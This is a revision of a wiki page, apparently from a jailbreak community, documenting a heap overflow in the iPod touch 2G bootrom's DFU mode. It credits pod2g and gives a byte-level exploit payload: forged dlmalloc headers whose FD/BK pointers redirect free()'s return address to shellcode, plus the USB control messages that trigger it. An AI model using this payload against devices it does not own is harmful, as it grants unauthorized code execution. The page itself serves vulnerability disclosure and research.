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Difference between revisions of "Usb control msg(0xA1, 1) Exploit"
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* '''vulnerability''': [[User:pod2g|pod2g]] |
* '''vulnerability''': [[User:pod2g|pod2g]] |
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* '''exploitation''': [[User:pod2g|pod2g]] |
* '''exploitation''': [[User:pod2g|pod2g]] |
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+ | * '''payload''': [http://greenpois0n.com Greenpois0n RC4]: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]] |
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Revision as of 13:01, 18 October 2010
A heap overflow exists in the iPod touch 2G (both old and new) bootrom's DFU Mode when sending a USB control message of request type 0xA1, request 0x1.
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). posixninja analyzed and explained this one.
Credit (Alphabetical)
- vulnerability: pod2g
- exploitation: pod2g
- payload: Greenpois0n RC4: both the old iBoot-240.4 and iBoot-240.5.1
]
Vulnerability
By fuzzing all possible USB control messages of the iPod touch 2G's DFU Mode, it appeared that one special usb control message made it reboot. The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.
Exploitation
In order to exploit it, send this special USB packet (using 0x21, 1) :
[ 0x100 bytes of nulls ] /* free'd buffer dlmalloc header: */ 0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk 0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk /* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */ 0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction 0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer 0xff, 0xff, 0xff, 0xff, // 0x10: (0x08) 0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_) 0x00, 0x01, 0x00, 0x00, // 0x18: (0x10) 0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14) 0x00, 0x00, 0x00, 0x00, // 0x20: (0x18) 0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c) /* attack dlmalloc header: */ 0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk 0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-) 0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start() 0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode shall jump to FD[0x10] to skip the junk.
